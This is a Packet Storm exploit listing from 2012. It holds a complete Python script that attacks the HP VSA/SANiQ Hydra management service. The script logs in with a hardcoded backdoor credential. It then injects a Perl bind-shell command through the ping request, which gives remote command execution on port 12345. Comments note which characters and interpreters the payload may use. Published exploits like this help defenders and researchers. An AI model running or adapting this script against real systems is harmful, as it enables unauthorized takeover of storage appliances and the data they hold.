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HP VSA Command Execution

🗓️ 18 May 2012 00:00:00Reported by Nicolas GregoireType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

HP VSA Command Execution. Attack HP VSA/SANiQ Hydra client with command injection exploit

Code
`#!/usr/bin/python  
  
''' ==================================  
Pseudo documentation  
================================== '''  
  
# HP VSA / SANiQ Hydra client  
# Nicolas Grégoire <[email protected]>  
# v0.5  
  
''' ==================================  
Target information  
================================== '''  
  
HOST = '192.168.201.11' # The remote host  
PORT = 13838 # The hydra port  
  
''' ==================================  
Imports  
================================== '''  
  
import getopt  
import re  
import sys  
import binascii  
import struct  
import socket  
import os  
  
''' ==================================  
Define functions  
================================== '''  
  
# Some nice formatting  
def zprint(str):  
print '[=] ' + str  
  
# Define packets  
def send_Exec():  
zprint('Send Exec')  
  
# RESTRICTIONS  
# You can't use "/" in the payload  
# No Netcat/Ruby/PHP, but telnet/bash/perl are available  
  
# METASPLOIT PAYLOAD  
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"  
  
# COMMAND INJECTION BUG  
data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'  
  
# EXPLOIT  
zprint('Now connect to port 12345 of machine ' + str(HOST))  
send_packet(data)  
  
def send_Login():  
zprint('Send Login')  
data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor  
send_packet(data)  
  
# Define the sending function  
def send_packet(message):  
  
# Add header  
ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'  
ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'  
message = message + '\x00'  
data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message  
  
# Send & receive  
s.send(data)  
data = s.recv(1024)  
zprint('Received : [' + data + ']')  
  
''' ==================================  
Main code  
================================== '''  
  
# Print bannner  
zprint('HP Hydra client')  
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))  
  
# Connect  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(30)  
s.connect((HOST, PORT))  
  
# Attack !  
send_Login()  
send_Exec()  
  
# Deconnect  
s.close  
  
# Exit  
zprint('Exit')  
  
  
`

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